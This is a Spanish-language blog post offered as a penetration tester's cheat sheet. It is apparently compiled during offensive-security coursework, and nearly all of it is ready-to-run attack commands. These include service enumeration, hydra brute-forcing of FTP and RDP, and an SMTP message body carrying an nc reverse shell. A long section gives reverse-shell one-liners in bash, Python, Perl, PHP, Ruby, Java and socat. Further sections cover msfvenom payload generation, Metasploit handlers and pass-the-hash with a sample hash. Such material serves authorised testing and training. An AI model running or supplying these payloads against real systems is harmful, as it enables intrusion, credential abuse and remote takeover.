Blog con notas, publicaciones sobre exploits, uso de herramientas, búsqueda de vulnerabilidades y más. @Yonatan_correa
19 julio 2018
Hoja de Trucos para Pentester
Me motive a realizar este post a manera de compartir y anotar algunas técnicas que sirven en el momento que uno esta realizando un pentesting
En mi caso, la mayoría de estas técnicas me sirvió de mucho mientras realizaba el curso de Penetration Testing with Kali (PWK)
Cabe mencionar que algunas de esta técnicas también se encuentran en internet y esta es una recolección que he hecho de algunas técnicas muy efectivas
nmap -Pn -v $host
sudo nmap -Pn -v -sC
nmap -Pn -p- $host
nmap -Pn -v -sV --script=banner $host
nmap -Pn -v -sV --script=vulners $host
para ver los scripts de nmap
ls /usr/share/nmap/scripts/
ident-user-enum $host $puerto $puerto $puerto
nmap -vv -Pn -A -sC -sS -T 4 -p- $host
nc -v -w 1 $host -z 1-1000
herramienta: sparta
whatweb -v http://web
dirb http://web /usr/share/wordlists/dirb/common.txt
dirb http://web /usr/share/wordlists/dirb/big.txt
nikto -C all -h http://web
-- scan puertos UDP
sudo unicornscan -mU -v -I $host
sudo nmap -Pn -sU -p161 $host
---- SERVICIOS
-- dns
dnsenum $host
nmap -p53 --script=dns-zone-transfer ns2.$host
nmap -p53 --script=dns-* ns3.$host
dnsrecon -d $host
nslookup -> set type=any -> $host
dig axfr blah.com @ns1.$host
-- smb
nmblookup -A $host
nmap -Pn -p445 -sV --script=smb-vuln-* $host
nmap -Pn -p445 -sV --script=*smb* $hos
nmap -Pn -p445 -sV --script=smb-enum-shares $host
smbclient //nombreshare/share -I $host -N
rpcclient -U "" $host
enum4linux -A $host
python /usr/share/doc/python-impacket/examples/samrdump.py $host
-- snmp
snmp-check $host -c public
snmpget -v 1 -c public $host
snmpwalk -v 1 -c public $host
snmpbulkwalk -v2c -c public -Cn0 -Cr10 $host
sudo nmap -sU -p 161 --script=*snmp* $host
snmp opciones
public
private
manager
-- rpcbind,nfs
nmap -p111 --script=rpcinfo $host
nmap -sV -p111 --script=nfs-* $host
sudo rpcinfo -p 128.223.1.61
sudo rpcinfo -s host.com
sudo rpcbind -p $host
sudo rpcclient -I $host
mount -t nfs $host:/home/vuln /tmp/local -nolock
sudo showmount -e 128.223.1.61
sudo showmount -a 128.223.1.61
smbmount //$host/c$ /mnt/remote/ -o username=user,password=pass,rw
-- ftp
nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21
nmap --script=*ftp* --script-args=unsafe=1 -p 20,21
hydra -l nombredeusuario -P listadepasswords.lst ftp://$host
-- smtp
nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $host
smtp-user-enum -M VRFY -U users.txt -t $host
telnet $host 25
HELO localhost
MAIL FROM:<test@gmail.com>
RCPT TO: <yona@localhost>
DATA
mkfifo /tmp/xwdn; nc 1.1.1.1 1234 0</tmp/xwdn | /bin/sh >/tmp/xwdn 2>&1; rm /tmp/xwdn
.
QUIT
-- rdp
nmap -sV --script=rdp-vuln-ms12-020 -p 3389 $host
nmap -p 3389 --script rdp-enum-encryption $host
rdesktop $host
hydra -V -f -l administrator -P wordlist.txt rdp://$host
---- SERVIDOR WEB LOCAL
python2 -m SimpleHTTPServer 8080
python3 -m http.server 8080
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start"
php -S localhost:8080
descargar en carpeta X
wget http://lhost:8080/exploit.c -O /tmp/exploit.c
---- compilando exploit
-- gcc
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
gcc -Wall -m32 -o output32 hello.c (32 bit)
gcc -Wall -m64 -o output hello.c (64 bit)
-- mingw
apt-get install mingw-w64
ejemplo de uso un un exploit de exploit-db
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
-- compilar en 32 bit para wondows en linux
i686-w64-mingw32-gcc [input file: source]–o [output file: .exe]–lws2_32
i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32
-- pyinstaller
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
pyinstaller --onefile exploit.py
---- REVERSE SHELL
-- nc
nc rhost 4444 -e /bin/sh
--- socat # la mejor opción
- atacante
socat file:`tty`,raw,echo=0 tcp-listen:4444
- victima
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:rhost:4444
-- bash
bash -i >& /dev/tcp/rhost/4444 0>&1
0<&196;exec 196<>/dev/tcp/rhost/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/rhost/4444
- escucha
nc -lvp 4444
-- php
php -r '$sock=fsockopen("rhost",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
-- telnet
telnet rhost 4444 | /bin/bash
-- perl
perl -e 'use Socket;$i="rhost";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- perl windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"rhost:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="rhost";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-- ruby
ruby -rsocket -e'f=TCPSocket.open("rhost",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
-- java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/rhost/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
-- python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("rhost",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
---- MEJORAR LA SHELL
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
/bin/bash -i
bash --init-file /usr/bin/gnome-terminal
screen -S nginxSetup -t mejorpriv
---- PAYLOADS DE METASPLOIT
Para que investigues más, sobre los formatos: msfvenom --list formats
-- php
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.php
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.php
-- asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp > nombre.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp > nombre.asp
-- aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > nombre.aspx
-- jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.jsp
-- war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > nombre.war
-- python
msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > nombre.py
msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=4444 -f raw > nombre.py
-- bash
msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=4444 -f raw > nombre.sh
-- perl
msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=4444 -f raw > nombre.pl
-- android
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 R > nombre.apk
--- shellcode
para verlos todos: msfvenom --list payloads
-- base linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje
-- base windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje
-- base mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f lenguaje
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f lenguaje
-- parametros extras
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
--- Handlers
use exploit/multi/handler
set PAYLOAD nombre del Payload
set LHOST IP local
set LPORT puerto local
set ExitOnSession false
set autorunscript 'post/windows/manage/migrate'
exploit -j -z
---- CONEXIÓN DIRECTA
-- pass the hash
use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/bind_tcp O set payload windows/meterpreter/reverse_tcp
set LHOST IP local
set LPORT puerto local
set RHOST IP remota
set SMBPass aad3b435b51404eeaad3b435b51404ee:75d00b7431d213583ade7a84ad7e9fdc
set SMBUser Administrador
- también
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:75d00b7431d213583ade7a84ad7e9fdc
pth-winexe -U Administrador% //rhost cmd.exe
-- Para mejorar la shell meterpreter
para session con generic/shell_reverse_tcp
use post/multi/manage/shell_to_meterpreter
con set payloads linux/x64/meterpreter_reverse_tcp
post/multi/manage/shell_to_meterpreter
con set payload windows/x64/meterpreter/reverse_tcp
-- también
exploit/windows/local/payload_inject
con set payload windows/x64/meterpreter/reverse_tcp
Espero que le sirva de mucho.
Saludos
Suscribirse a:
Comentarios de la entrada (Atom)
No hay comentarios.:
Publicar un comentario